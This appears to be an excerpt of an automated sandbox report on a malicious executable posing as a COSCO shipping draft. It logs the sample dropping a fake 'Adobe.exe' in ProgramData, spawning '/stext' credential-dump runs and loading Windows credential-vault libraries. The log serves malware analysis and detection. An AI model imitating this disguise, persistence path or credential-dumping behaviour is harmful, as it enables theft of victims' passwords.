                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,3_2_0040F474
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,3_2_0041B4A8
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,3_2_0041AA4A
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.logJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeMutant created: \Sessions\1\BaseNamedObjects\Adobe-OTOIRK
                  Source: C:\ProgramData\Adobe\Adobe.exeMutant created: NULL
                  Source: C:\ProgramData\Adobe\Adobe.exeFile created: C:\Users\user\AppData\Local\Temp\bhvAA55.tmpJump to behavior
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                  Source: C:\ProgramData\Adobe\Adobe.exeSystem information queried: HandleInformationJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: Adobe.exe, Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                  Source: Adobe.exe, Adobe.exe, 0000000A.00000002.2139274482.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                  Source: Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                  Source: Adobe.exe, Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                  Source: Adobe.exe, Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                  Source: Adobe.exe, Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                  Source: Adobe.exe, 00000006.00000002.2146558301.0000000003340000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                  Source: Adobe.exe, Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeReversingLabs: Detection: 52%
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile read: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
                  Source: unknownProcess created: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe "C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe"
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess created: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe "C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe"
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\sjwnfpnrxvemnctydvpmlfmrafenxb"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ffhrgs"
                  Source: unknownProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: unknownProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: unknownProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess created: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe "C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe"Jump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe" Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\sjwnfpnrxvemnctydvpmlfmrafenxb"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ffhrgs"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: version.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: windowscodecs.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: dwrite.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: textshaping.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: iconcodecservice.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: winmm.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: rstrtmgr.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iconcodecservice.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: pstorec.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vaultcli.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: pstorec.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: version.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: windowscodecs.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: dwrite.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: textshaping.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iconcodecservice.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: winmm.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: rstrtmgr.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: mscoree.dll
                  Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: kernel.appcore.dll
